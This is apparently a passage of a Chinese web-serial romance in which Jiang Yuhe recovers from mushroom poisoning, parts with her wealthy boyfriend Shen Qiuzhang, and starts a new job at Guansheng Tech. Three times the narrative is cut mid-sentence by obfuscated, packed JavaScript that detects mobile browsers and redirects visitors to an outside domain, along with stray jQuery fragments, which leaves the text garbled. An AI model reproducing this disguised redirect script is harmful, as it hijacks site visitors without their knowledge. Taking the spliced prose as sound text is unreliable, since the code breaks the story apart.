边吃边听俩人聊天,大概猜得到钱博士也是出身名门,只是属于旁支,又志在学术研究,在家族中属于定期领信托的边缘人物。 他的夫人倒是个雷厉风行的女强人,作为独生女顺理成章接手家族产业,对钱博士的研究也大力支持,让他不用为经费苦恼。 他对“金主大人”也常怀感恩之心,自觉打理家庭,有机会就带着两个孩子跟着老婆各地出差,老婆开会他就带孩子出去边玩边认植物,有次居然碰巧在新疆的沙漠里发现了新物种,让他狂水了几篇SCI,钱博士对于这种“寓教于乐”很是得意。 啧啧啧,嫁得真好啊钱博士~~~姜与荷酸溜溜地想着。 可能是吃太多了,她微微感觉有点气闷,打算去下洗手间顺便透透气,沈求章便叫来侍者带她过去。 这栋民国别墅翻修得很用心,内部装潢保留了那个年代的海派韵味,又恰到好处地添上了一点现代的奢华舒适。 她站在洗手台前用手接了点水拍了拍脸,感觉头脑清爽许多。抬头看看镜中的自己,脸上居然飞了两块红霞,但她并不觉得热啊? 别说她并没有喝酒,即使喝了酒她也从未脸红过,怎么这次这么奇怪?难道她突然发烧了?她甩甩头,并未感觉头脑昏沉,反而神清气爽。 余光里瞟见一个男人往这边走来,他微微垂着头,但身量依然极高,一身纯黑色的衬衣西裤,在米色调的内饰中异常显眼。 他的身影走进了姜与荷面前的镜子里,她才看到这人原来是在低头接电话。他领口松着两颗扣子,露出轮廓分明的锁骨,在头顶水晶灯的照耀下,肌肤白得有些扎眼。 柔顺浓密的黑发覆在额前,只给人看见冷峻淡漠的下半张脸。 许是感觉到了什么,镜子中的他抬头看了姜与荷一眼。 他的头发看起来柔软蓬松,眼神却锋利凛冽。明明是如画的眉眼,却让姜与荷除了紧张之外生不出任何其他情绪。 但下一秒,她却突然笑出了声,因为她看见那位冷脸美男头上出现了一个Q版小人,长得就像微缩版的他,手上还拿着一朵小花在向她挥手,这种反差感让她控制不住地笑了起来。 今天她的笑点好像格外地低,她笑得眼泪都出来了,根本停不下来。 “你……你是怎么变出来的啊,定制的玩偶吗哈哈哈哈哈哈。”姜与荷猜测他是个魔术师,正在练习新的节目。 对面的人却没有作声,只是皱了皱眉头,眼神中冒出了一点莫名其妙。 “你别再演了,我要笑死了……你头上的小人到底怎么弄上去的啊,跟真人似的,”她边笑边鼓掌,“哇……变成三个了,你也太神了!” 对方的眉头却皱得更深了,大步上前抓住姜与荷的肩: “你刚才吃了什么?” “与荷?!” 这一幕却正好被出来寻她的沈求章撞见。 见姜与荷迟迟没有回来,他便出来寻她。没想到会看到她被一个男人抓住肩膀,他急忙上前,心中翻腾的怒火却在看到男人回头的瞬间熄灭,甚至有些惊喜: “阿慎!?这么巧!” 5. 进医院 躺在医院病床上的时候,姜与荷终于确认自己是食物中毒了,可能是那锅菌子还没煮够就被她捞了起来。不过好在她的程度比较轻,刚才也吐得差不多了,医生说挂完水回家自己观察观察也行。 她目前除了看人说话还带字幕之外也并没觉得有什么不适,本来想配点药就回家的,但是钱博士作为一名资深菌子美食家,对于这次一时大意导致她进医院表示非常抱歉,坚持要她住院观察。 她本想推辞,但是那位冷面美男——也就是那家餐厅的幕后老板——也要求她住院,她只能怂怂地答应。 听沈求章说他叫裴慎如,他名下的这家餐厅并不对外营业,但姜与荷在他的餐厅里出了事,即使是因为钱博士的疏忽大意,他作为老板也会负责到底。 面对好脾气的钱博士她还能拉扯几个回合,而在这位难得一见的顶级帅哥面前,她却根本没有反驳的勇气,或者说,没有交谈的欲望。 小人物的生存直觉告诉她,这位安静寡言的年轻男人很是危险。 美则美矣,敬而远之。 “别怕,我会在医院陪着你的。”沈求章已经打好了电话,告诉家里今晚不回去了。 姜与荷觉得没什么必要:“你还是回去吧,马上就要走了,事情肯定很多。我现在感觉很好,一个人也没问题的。” “家里也没什么需要我亲自做的,我在这里一样能安排。你躺下休息吧,睡不着就看会电视,或者我让人送个平板过来,我出去和阿慎聊一会。”在姜与荷表示她打手机游戏就可以后,沈求章便去了外间。 这个病房是一个宽敞的套间,卧室和客厅的门虚掩着,姜与荷打游戏时候能大致听到他们说话。 “你今天回来怎么也没有通知我一声。”说话的是沈求章。 “反正你马上要走了。”裴慎如淡淡回答,声线清冽。 “能碰个面已经不错了,高中毕业后,我们见面的次数两只手都数得过来吧。” “不见面我们一样是朋友。” 沈求章似乎是习惯了他的脾气,语气带上几分无奈:“你这次回来准备呆多久?” “很久,目前国内业务是集团重点。” “滋兰她们目前也在试水大数据行业,有机会你们可以聊聊。” “好。” …… 他们俩后面聊的她也听不太懂,钱博士可能也不太懂,碰上了他的知识盲区,明显拘谨了很多,不像刚才吃饭时那么活跃,只是偶尔接两句话,扮演一下气氛组的角色。 裴慎如虽然话不多,但回应得很认真。奈何气质太过严肃,也就只有沈求章在他面前依然能谈笑风生了。 也许是菌子的反扑,姜与荷开的两把游戏都惨败,头也开始有点昏沉。为了不再坑队友,她退出游戏躺了下来。闭上眼睛感觉舒服了许多,伴随着一点眩晕感,她很快沉入了梦乡。 …… 十点半,沈求章进卧室看了看,给姜与荷掖了掖被子,就出门送裴慎如。钱博士说要带小孩,已经先回家了,此时只有沈求章一个人送他出门。 夏夜的晚风带着一点凉意,裴慎如并没有马上离开,而是开口问起了姜与荷: “这位姜小姐是你的女朋友吗?” “是的,刚交往不久。”沈求章不自觉地带上笑容。 但裴慎如却毫不客气地扫兴:“你不该给姜小姐的人生添乱。” 他的语调平静,仿佛只是在陈述事实。 路灯昏黄的光为他棱角分明的脸洒下些许阴影,显得他深黑色的眼眸更加神秘,宛如在夜色中闪耀的钻石。 “我并没有这个意思,我是认真考虑过的。”沈求章的神情也难得的严肃起来。 “那你应该再考虑考虑。” 裴慎如说完便走向了路边停着的一辆黑色宾利,司机已经为他开好了车门。沈求章看着轿车远去,在原地站了一会,转身回了病房。 姜与荷第二天醒来时已将近十点,这一觉让她久违地感到神清气爽,作为一个熬夜强迫症患者,她甚至在考虑用菌子助眠的可行性。 她起床洗漱好,走出房门,第一次打量她的病房。在她房门附近有一张软榻,上面有一床叠好的毯子,应该就是沈求章晚上睡的地方。餐桌上放着玻璃水壶和一大束百合,不远处就是楼梯。 她后知后觉地发现,自己住的这间“病房”,原来是一幢设施齐全的小别墅。看来昨晚真的是被菌子闹着了,连这都没注意到。 这时楼梯下传来一阵脚步声,上来的是一位穿着制服的阿姨,看着很和善。她见姜与荷出来了,便开口询问:“姜小姐你醒啦,我现在做早餐端上来好吗?” “不用不用,我下楼吃就好了,”姜与荷面对陌生人还是有些尴尬,也非常不习惯被人伺候,“沈……先生出去了吗?” “沈先生一大早就回沈家了,他说你要多休息,吩咐我等你醒了再做早餐。” “哦哦……”姜与荷没再多说什么,跟着阿姨下了楼。 阿姨做饭的手脚很快,手艺又好,熬的枸杞山药粥极其鲜美香浓,佐粥小菜也清爽鲜脆,让饿了一晚的姜与荷胃口大开,吃完一碗还想再来一碗。但是阿姨拦下了她盛第二碗的手,说她病刚好,昨晚又吐了几次,不宜一下吃太多,怕刺激肠胃,让她去外面走走消消食。 姜与荷只好出门,开始了她的小区冒险。 这片区域都是一座座小别墅,房屋之间植被茂盛,私密性很强。路两旁是高大粗壮的香樟树,花坛里种满了盛放的绣球、月季、蓝雪花……以及很多姜与荷叫不上来名字的花草。 每一棵都茂盛鲜翠,一看便知是有人精心打理的。路边放着些长椅供人休息,她在一丛竹子边坐下,看着竹根处新爆出来的小笋发呆。 如果不是沈求章,可能她这辈子都不会知道世界上还有这种病房吧。 今天的阳光正好,洒在身上只觉得暖洋洋的。不知从何处吹来的微风也带着一些花木香气,她坐在椅子上眯着眼,想着回去也挺远的,干脆躺下继续睡觉吧。思想还在斗争时,忽然感觉头顶多了一片阴影。 睁开眼,是笑眯眯看着她的沈求章,他的左手拿着一个文件夹为她遮阳。 “你回来啦?”姜与荷有点意外。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486730|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯,我父亲今天终于有空和我的教授们碰面,我顺便回去处理了点实验室的事。” “你家里人请教授吃饭吗?”那也回来太早了吧,午饭时间还没到呢。 “不是,只是谈了下赞助的事情。” 哦……怪不得教授还得等爸爸的档期……毕竟是大家共同的“爸爸”。 “阿姨快做好午饭了,我们回去吧。” “嗯。” 姜与荷和他慢慢走回去,两旁传来的樟木香气让她恍惚想起茶园的那个午后。 他们在茶园开始,又会在哪里结束呢? 午餐很是丰盛,龙井虾仁、芹菜猪肝、清蒸鲈鱼、三鲜豆腐、当归乳鸽汤,饭后甜品是荔枝玫瑰炖奶,阿姨还给她熬了一小锅五红汤,让她下午慢慢喝。 阿姨动作很快,炖好汤之后和他们打了个招呼就离开了,姜与荷想留她一起吃饭都来不及。 看阿姨走得这么利索,也许有什么不能和客人一起用餐的规定,留她吃饭反而会让她为难,姜与荷也就没多说什么,坐下来开始享受美食。睡了那么久,只喝了点粥,现在她真的挺饿的。 她拿起筷子,沈求章已经盛了一碗汤放在她手边:“先喝点汤吧。” 汤色清亮,滋味鲜甜,里面放了几味药材,却尝不到一点药味。这位阿姨的烹饪水平简直堪比大厨,清淡的菜色也能做出丰富的味觉层次,姜与荷吃得感动不已。 沈求章倒像是没什么胃口,只是略动了几筷子。他在一边看着她吃得很香,估摸着她的身体恢复得很好,这真是今天唯一的一个好消息。 姜与荷怕自己的肠胃还没完全恢复,也没敢一下吃太多。她放下筷子,拿过那盅玫瑰炖奶,用小银匙慢慢舀着:“你马上就去美国了,这两天要多陪陪你爸妈吧?” “我父亲现在应该已经在飞机上了吧,我妈也还没有回国。” “……”也是,人家什么时候想看儿子随时就能去了,也许还常去那开会呢。 擅自用平民之心度豪门之腹,真是抱歉啊。 “我觉得我已经完全好了,今天就可以回去了。”虽然不是她出钱,但住这种地方她也挺心疼的,不用想就知道肯定很贵,她都没勇气去问问价格。 “还是再住一天吧,稳妥一点。”沈求章坚持。 “但是我的假期已经用完了……”这才是最重要的原因,牛马是要上班的…… 她的主管上司并不是好说话的人,而且刚休完了年假,想再请假并不容易。作为一个不奢望升职更不想惹事的小员工,她不太想看到上司的臭脸。 “没事的,我上午已经帮你请假了,你们王总还让你别着急上班,休养好了再去。” 王总?她的工作接触范围内并没有什么“王总”,姓王的总好像只有总经理…… 她是个喜欢安稳、讨厌变故的人,而认识了沈求章后,总有种人生失控的感觉,像是搭上了一列不知通往何方的高速列车。 前路漫漫,可她的眼前全被浓厚的白茫雾气笼罩。下一步踩上的,是通天梯,还是虚空崖? 姜与荷一无所知。 6. 不愿等待 不知道该干什么的时候,睡觉总是没错的。 她进房间睡午觉,沈求章在外面处理文件。屋里很安静,她刷着手机,听着外面纸张翻动的声音,眼皮慢慢地合上了。 再醒来时已是下午三点多了,门外并没有沈求章的身影。桌上倒是有张纸条,写着他出去和裴慎如碰面,阿姨会在五点钟过来准备做晚餐,有什么想吃的都可以告诉她。 姜与荷从保温桶里倒了一碗五红汤,坐在窗边的小沙发上慢慢喝着。 从二楼望出去,能够看到不远处的人工湖。湖心有座小亭,周边环绕着大片的荷花,荷叶田田,花漫清芳,快要把九曲廊桥淹没。坐在屋里,鼻间仿佛都闻到了一缕荷香。 水亭烟榭晚凉,吃过饭后倒是可以去那里走一走。她这么想着,然后就听到了一阵震动声。 她愣了几秒,然后想起来这是手机震动的声音,这是有人给她打电话了——作为基层小员工,她手机习惯静音,毕竟只有领导才能在开会时候手机外放。 “喂?”虽然是陌生号码,她还是接了,谁知道会不会是公司里的哪个人。 “姜小姐您好,我是沈先生的秘书,我姓张。” “……你好,张先生。”对面的声音斯文有礼,却让姜与荷的情绪瞬间跌到谷底。 “冒昧来电,是想告知一下您,沈先生觉得您和沈少爷不太合适。” “对于沈少爷对您的打扰,我们表示很抱歉。如果您有什么困难,我们非常乐意帮您解决。” “当然,如果您坚持和沈少爷在一起,沈先生也不会再发表意见,他只是从父亲的角度对您进行提醒。” “不打扰您的时间了,祝您生活愉快。” 电话挂断了。 对面好像并不在意姜与荷的回答,只是来“告知”而已。 接到来自沈求章父亲的电话,姜与荷并不意外。挂断电话后,她什么也不想做,只是看着湖心的小亭,看了很久很久。 同一时间,海市一座私人庭院内,裴慎如给沈求章倒了一杯茶。 “我还有一年就可以毕业了,到时候……”沈求章好像在辩解着什么。 裴慎如直接打断了他: “你的时间,和姜小姐的时间是不一样的。” “对你来说,28岁可以和38岁没有区别。但对她来说,每一年的时间都非常宝贵。没有绝对的把握,就不要浪费她的人生。” 沈求章看着面前天青色的汝窑茶盅,沉默良久。 他回去时,姜与荷刚吃完晚饭。见他回来得这么早,还略有点惊讶。 “你这么快就叙完旧啦?” “嗯,我跟阿慎之间不用多客气。” 姜与荷想了想,向他发出邀请:“我们出去散散步吧?我看附近的湖景挺美的。” “好。” 夏间日长,太阳还留着一点余晖,但是湖边已经开好了景观灯。柔和的乳白色光球散落在岸边、水间,倒是给湖景平添了几分仙气。 凉风习习,水芝袅袅,荷香幽幽,这种绝佳的消食圣地,要是在外面的公园,应该早就被老人小孩们占领。但这里是医院病区,偌大的湖边只闻蝉鸣,不见人影,现在只有他们二人在慢慢散步。 姜与荷踏上九曲回廊,白色的衣角拂过偷偷挤进栏杆的红粉荷花,带落几片花瓣,被跟在后面的沈求章默默捡起。他们走到了湖心亭坐下,吹着湖面晚风,相对默然,好像谁都不想开口破坏这难得的惬意。 但该做的事总是要做的,姜与荷还是开了口:“你什么时候走呢?” “明天。” 这么快啊,好像是提前了吧。 “我觉得……”她其实也不知道该怎么说,“我们……” 沈求章却突然打开了话匣子: “我早上回家时候和父亲说了我们的事,他并不同意我与你交往。” “他根本不在乎你是什么样的人,只说我们不合适,之后就匆匆离开了,我没能争取到他的同意。” 他的语气很沮丧,也许这是他人生中第一次体会到挫败感。 “我们确实不合适。”姜与荷也是第一次发现自己能够如此冷静。 “我们之间的距离实在是太远了,勉强在一起也许对谁都不好。” 姜与荷完全理解沈求章的父亲,换做是她,也不会希望自己疼爱呵护的孩子和一个明显会拖后腿的人在一起。无论那个人是为了金钱还是为了爱情,都不重要。 她喜欢的确实不是沈求章的钱,但要养成她喜欢的俊美的面容、优雅的风度、稳定的情绪和一点近乎天真的纯粹,却需要很多很多很多的钱,还有很多很多很多的爱。 他学习的生物专业,十几亿资金砸下去连个响都听不到是常见的事,但他身上从没出现过对课题成果和未来方向的焦虑,只有享受做自己热爱的事时单纯的快乐。 他的父亲看起来在沈家也是举足轻重的人物,却从没有逼迫他接手家业,反而是完全支持他去做那些不一定会有回报的研究,他的父母是真的很爱他。 父母的爱并不是每个孩子天生就能拥有的,而沈求章是那个中了人生彩票的幸运儿。 在钱和爱里一帆风顺地长大的孩子,总是有些抹不掉的单纯。如果她是沈求章,她绝不会主动接近像自己这样的人,绝不会给完美的人生带来任何一点点风险。 要守住财富并不容易。乡下的拆迁户,就已经有人愿意花费一年以上的时间,蓄意做局谋夺家产,她在村里就听过不少这样一夜暴富又一夜破产的例子,遑论是沈家。 虽然沈求章并不愚蠢,但是沈家太大了。如果沈家普通一些,姜与荷还敢幻想和他一起过上小富则安的日子,可惜不是。 就连她现在住的这家医院,所有者也姓沈。 像这样的家族,不知道被多少双眼睛一直盯着。而她这样对上流社会的规则和玩法一无所知的女人,是最好的突破口。 一个家里,有一个天真的人就够了。 他最好的选择是像钱博士那样,找一个同样出身名门又精明强悍的女性,以他的相貌和人品,大概率能组建一个和睦幸福的家庭,过完富贵荣华的一生。 沈求章的人生是姜与荷的梦想,而她,决不会破坏自己的梦想。 “阿慎也说让我不要浪费你的时间……我知道我现在的承诺没有什么分量,但是你愿意等我一年吗?我毕业后可以在美国找份工作,如果你不愿意去美国,我也可以申请国内的大学教职。”沈求章踌躇着,还是说出了自己的想法。 姜与荷回答得很快,很坚定: “我不愿意。” “我们都是自由的,我不会等你。你能找到自己热爱的事业是很幸运的事情,不应该随意为了别人改变人生的方向。总有一天,你会后悔的。” 沈求章是可以一辈子生活在象牙塔里的人,何必要把他拉下云端?坚持和他在一起,历经种种磨难获得他父母的认可也不是不可能,但没必要。 她最喜欢的是沈求章身上从容闲适的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486731|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质,这种气质是他的父母精心养育出来的。何必要让他对抗自己的父母、悖离原定的人生、吃一些本不需要吃的苦头?到了那个时候,他们各自又会是什么模样? 她虽然不知道沈求章喜欢她什么,但总不会是焦虑烦躁的样子。 在最美好的时候相遇,又在最美好的时候分别,也是难得的幸运。 沈求章沉默不语。 他并不是蠢人,他知道姜与荷说的是对的。他的父母虽然事务繁忙,却从未忽视过他,小时候呵护他的成长,长大后又能尊重他的意见。 他年近三十,虽然是名校博士在读,在外人看来也是个努力奋进的人,但他明白,自己仍然是活在父母的庇护下。 父亲曾与他说过,对他最大的要求就是保护好自己,度过一个美满的人生。像姜与荷这样的不稳定因素,绝无可能被父亲接纳。 现在的他,面对父亲是毫无抵抗能力的。等他毕业后,又能够真正脱离父亲的影响吗? 如果最终失败了,就像阿慎说的,只会浪费她宝贵的时间…… 他自嘲地笑了笑:“我第一次感觉到自己的无能……” “不,你应该感到幸福,有很多人在爱你。” 姜与荷认真地告诉他:“他们爱你,在乎你,才会主动保护你。也许你会对此感到厌烦,因为你得到的爱太多了,但无论如何,你都应该知道,自己是一个多么幸运的人。” 沈求章抿起嘴角,点了点头:“我还没听你提起过你的父母,也不知道以后有没有机会见他们。” “我自己都没什么机会见他们,你就不用挂心了。” “他们这么忙吗?” “我6岁他们就离婚了,也就过年时候可能会见到我爸。” 姜母离婚后就去了别的城市,没再回来过。姜父也很快有了新的妻子和孩子,结婚头两年还会带着新妻子回乡下老宅过年,但是吃年夜饭时桌上的气氛一直很尴尬。 她的那位继母是个养尊处优的城里人,虽然眼神不好看上了姜父,但她明显没看上姜父在乡下的老家。后面就基本只有姜父一个人会回来看看,渐渐的他也不会回来,只有姜与荷和姜老太两个人过年。 但是她却觉得姜父不回来更好,家庭的和睦不在于人数,两个人开开心心,强过三个人对坐无言。 沈求章瞬间有点尴尬无措:“抱歉,我没想到……” 姜与荷倒是很淡定:“没事的,都已经二十年了。” 6岁的她会渴求父母的爱,16岁的她会怀疑自己存在的价值,26岁的她已经能够坦然接受生命中的一切。 往者不可谏,来者犹可追,她现在只关心怎么存够姜老太未来的医药费和她回村躺平的窝囊费。 沈求章看得出她不是故作轻松,是真的不在意,对她生出了几分佩服:“如果我是你,肯定做不到像你这般洒脱。” “那是你有福气,不用接受我这种试炼。” 她和他,就是免费网游中的纯肝玩家和人民币玩家,游戏体验在两个次元。某些情况下,前者本身就是后者的游戏体验。 沈求章低头轻笑,想了几秒,开口道: “我昨天拜托过阿慎,为了避免一些可能的麻烦,希望他能照拂一下你。他可以为你提供一份观声科技的工作,你愿意去吗?” 姜与荷被这突如其来的消息砸得脑袋有一瞬间的短路,最先飘到她耳朵里的就是“阿慎”两个字,阿慎……那个裴慎如??? 她打起了退堂鼓。 7. 跳槽 沈求章认真地跟她分析:“观声科技目前在互联网领域是头部企业,抛开别的不谈,对你的职业发展也更有利。” 不用他说,她也知道哪个更好。如果说南山科技是独角兽,观声科技就是史前巨兽。 作为国内最早一批的互联网企业,紧跟社会发展的步伐,踩中了每一个风口,发展到现在已经是对国内经济有着重要影响的庞然大物。 以姜与荷的简历,拿到观声offer的希望极其渺茫,当年校招时她也投过,不出意外地被刷了。 她明白这全是看在沈求章面子上才给她的机会,观声这种体量的企业或许不在乎一个小小的工作岗位,但人生第一次当关系户的体验并没有让她感到高兴。 她最先想到的是,以自己明显不够格的资历进去后可能会面临的尴尬处境。同事们会好相处吗?她会被人背后议论吗? 她不是个长袖善舞的人,最喜欢的角色是没什么存在感的路人甲。在无人注意的角落默默干点自己喜欢的事,这让她很有安全感。 有人喜欢站上舞台发光,就需要有人站在台下鼓掌,姜与荷自认是个优秀而慷慨的鼓掌员。 在南山科技,她是个基层小员工,不够卷也不够活跃,呆了三年还没把公司的人认全,熟悉交好的就更少了。没人把她当成威胁,也就没人会特意关注她。 她很喜欢目前的状态,有一份可观的薪水,和身边的同事们相处融洽,工作中还能摸摸鱼。虽然她要996,但是加班时的各种福利待遇非常给力,而且她们公司的“加班”主要是人在公司不走,干些什么就不一定了,她还没有到一直会有重要工作的等级。 虽然她不懂资本家为什么不喜欢放牛马们回家,但是公司的环境说实话比她的小出租屋强,所以虽然她更喜欢一个人呆着,但在公司996也没那么难接受。 她很满意自己现在的工作,所以对于跳槽有种前途未卜的担忧,即使对方是观声科技。 “……虽然阿慎没空时常关照你,但他是观声的大股东,至少能保证你的薪酬翻倍……” ……什么,什么翻倍? 姜与荷的耳朵自动提取了关键词。目前的薪水已经值得她这个社恐背井离乡租房打工了,如果再翻倍的话……那她攒够养老钱的时间岂不是少了一半? 她是真的心动了。 要有骨气地拒绝准·前男友的帮助,不欠这份人情,完全靠自己跳槽加薪吗? 当然不了! 她又不是清高孤傲的电视剧女主角,只是一个为了能早日回老家种地而努力攒钱的打工小妹。天降的加薪机会摆在面前,多犹豫一秒都对不起她社畜的身份。 反正不违法,观声又是私企,她也没啥心理负担。 新公司的同事们就算排挤她也没关系,这是她走裤带关系应得的福报! “不用说了,我去我去,不能辜负你的好意。” 沈求章一愣,随即笑了起来:“我还怕你不肯挪窝。” 她确实不爱挪窝,奈何对钞能力毫无抵抗力…… “我们虽然没交往几天,但是和你在一起的时候我都很开心。很感谢你让我有个美好的初恋,所以你没必要觉得愧疚,分分合合本就是人生常事。” 她并不希望沈求章觉得对她有所亏欠。 “我确实……”沈求章自嘲地笑了笑,“所以我想尽可能补偿你。” “给了我这份工作我已经赚了,你不用再为此纠结,我们之间本就没有任何责任。” “希望我们都能过好自己的人生。”这是她衷心的祝愿。 “嗯。” 他们在温柔朦胧的夜色中相视一笑。 整个人被包裹在轻柔的晚风和隐约的淡香里,姜与荷尝到了一种酸涩的幸福感。 这段幻梦般的恋情,是沈求章赠予她的一场奇遇。 突然开始又突然结束的恋爱,仿佛是命运和她开的玩笑。但因为这个玩笑太过美好,又像是命运给她的小小施舍,让她浅尝几口便要收回。 她的人生,好像总是如此。 一路走来,她已经学会感恩每一点幸运,接受每一点遗憾。 今晚沈求章仍然陪着姜与荷,睡在了她房门口的床榻上。临睡前她闭着眼睛,这两天的事情控制不住地在她脑子里如走马灯一样转着。 其实这样已经是最好的结果了吧,她想着。她并不懂得如何处理亲密关系,被多事的亲戚评价过“独”的姜与荷,从小到大最亲近的人就是姜老太。 连普通朋友都寥寥无几的人,难以想象要怎么谈男朋友,她想到要和另一个人分享床铺和私人空间就觉得苦恼。 姜老太是个很讲究的农村老太太,从来不会随意进她的房间,更不会随意翻开她的本子或者拆开她的包裹,无论她是26岁还是6岁。 在她的房间里,她可以存放自己的所有秘密。这里是她心中最安全、最私密的地方,目前她还不想和任何人分享。 她这样的人,根本就不适合恋爱吧。 某种意义上,她甚至觉得自己应该感激沈求章的父亲。他的介入使她享受到了恋爱的快乐,又不用面对恋爱的烦恼,从开始到结束,她和沈求章都只记得对方最好的模样。 这怎么不算一段完美的恋情呢?更别说她还因此得到了一份普通打工人梦寐以求的工作。 死丫头,命也太好了吧。 完成了对自己的开解,胸口闷闷的酸意仿佛也减轻了许多,她翻了个身,终于沉入甜梦乡中。 第二天醒来时,沈求章已经不在了。桌上有一张便签,压在一个小巧的玻璃花瓶下,瓶里插着一枝艳红的石榴花,开得像火。 “再见” 苍劲秀逸的两个字,是沈求章对她的告别。 这样就很好。 该说的昨晚已经说完了,那是他们的心灵靠得最近的时候。虽然一起相处的时间一只手都数得完,但他们俩好像都挺能理解对方的。沈求章知道她不会想去机场送他的,那里有他的家人、朋友,她去了只会觉得无比尴尬。 而且她去了能干嘛呢?哭着冲进登机口让他别走吗?光是想想就浑身起鸡皮疙瘩。既然已经分手,就让她当一个合格的前女友吧。 她收起便签,这是她懵懂初恋的见证。以后的人生,希望能像这枝石榴花一样,热烈灿烂。 姜与荷下午刚回到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486732|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己租的公寓,就接到了观声科技的电话,裴慎如看起来对沈求章的托付很是上心。对面通知她下周一入职,手续方面他们会和南山科技对接,只需要她配合办理并且完成工作交接。 隔天是周二,姜与荷难得活力满满地起了个大早去公司。毕竟下周一才需要上班,早点把南山这边的事情办完了,剩下的时间都是自己的假期。她工位上的东西并不多,手头也没什么核心的工作,因此整理交接并不麻烦。 收拾完后,她背着塞满了东西的书包去找小碗道别,她们约在了一楼的咖啡吧。 小碗大名孙婉,因为每顿饭都必须吃一小碗米饭而得花名小碗,一年前由于工作调动坐到了姜与荷隔壁的工位。小碗来自西南省份,但不同于她家乡火辣的饮食,她的性格很温柔,话也不多,还特别会照顾人。 她跟姜与荷两个i人认识后迅速建立了坚固的友谊,成为了牢不可破的饭搭子。这次跳槽,姜与荷最难受的就是和小碗分别。 小碗笑眯眯地安慰她:“多好的事情呀,有什么好难过的,而且就隔了三条街而已,一样可以约出来玩呀。” “不一样的……”天天见面和偶尔见面怎么能一样呢?时间和距离总会慢慢冲淡感情……姜与荷难得地惆怅起来。 “要不你别去了,留下来陪我?” “那还是算了。”瞬间清醒了。 “哈哈哈哈哈哈……”小碗一副“早知如此”的表情。 姜与荷难得酝酿的伤感情绪也装不下去了,索性一扭头回家:“先走了,晚上请你吃饭!” “知道啦!”小碗笑着挥手。 回到自己的小公寓,姜与荷美滋滋地躺在床上刷手机,看看晚上去哪里吃饭。虽然她对于换新公司这件事还是有点担忧,但怎么说也是下周的事情,先好好享受这几天吧! 假期总是过得很快,在家看看书、打打游戏、刷刷手机,姜与荷就发现已经到了要去新公司报道的日子。不紧张是不可能的,她这次的心情比当初刚进南山工作时还要忐忑。 当时的她是应届毕业生,满怀憧憬地觉得自己在走向光明的未来;经过几年社会的毒打后,她只想老老实实打工,攒够钱就回老家。 她感觉自己越长大越不容易快乐了,是因为自己期望过高了吗? 但再怎么样也不能上班第一天就迟到啊,她定了三个闹钟,强迫自己入睡。 可能是因为有心事,第二天闹钟没响她就醒了,看看时间七点不到,而约好的时间是十点。观声这类互联网公司大都在海城近郊的科技园区,姜与荷租住的是附近的人才公寓,租金相较于工资和房补来说不算太高,因此她还有充足的时间。 她躺回到床上发了会呆,然后起床,拿出了毕业找工作那会买的、不知道过没过期的化妆品,慢慢给自己化妆。 南山的工作氛围较为宽松,对员工着装仪表没有什么要求,只要别太出格就行。姜与荷是个爱睡懒觉又怕麻烦的人,想到早上要牺牲睡眠时间化妆、晚上累了一整天回家还要卸妆就摇头。 所以除了求职那段时间,她几乎不怎么化妆。但是不知道新公司是什么样的风气,第一天去还是不要太随意了。 8. 老员工 她知道自己化妆技术拙劣,所以化得很慢、很轻。她的皮肤细腻光滑,所以只淡淡上了一层粉底,轻轻扫过烟眉,细细画条棕色眼线,再抹一些大地色眼影,最后在唇上涂了点玫瑰粉色的口红。 镜子里映出一个带点古韵的江南美人,身上的西装如果换成旗袍就最合适。姜与荷长着温婉的鹅蛋脸,还有一双流云般的眼眸,稍微添点颜色,就称得上是一个美人。但是从小到大的经历告诉她,普通的穷家美女,得到的麻烦比好处更多。 她平时也基本不会花费精力在外表上,穿衣整洁舒适就好。至于容貌,她本就不算立体惊艳的类型,柔和古典的五官很容易被灰扑扑的打扮和疲惫丧气的社畜状态掩盖,一不留神就淹没在人海。 姜与荷看看表,居然已经快九点了,再次确认了下要带的资料和证件就出门坐地铁。到观声楼下时是九点四十,她向前台报了预约的事项,很快有人带她上了楼。 观声的总部大楼有28层,人资部位于第8层。姜与荷看见这栋宏伟的大厦的第一反应是,以后上班等电梯会不会很久,会不会算迟到啊……希望自己别被分到太高的楼层,她在心里默默祈祷。 接待她的hr询问了她想去什么部门,她很识相地说都听公司安排。结合她上一份工作的履历,最终她被分配到了媒体娱乐部。姜与荷对这个位于10楼的岗位很满意,怀着兴奋和紧张的心情屁颠屁颠地去部门报到了。 入职的过程稍有波折,部门总监把她带到工位,简略和她介绍了下部门同事,指定了一个女职员,说这是他们部门最优秀的员工,让姜与荷跟着她学习。没想到这位员工干脆利落地拒绝了:“我没空带她,跟着我学不到什么。” 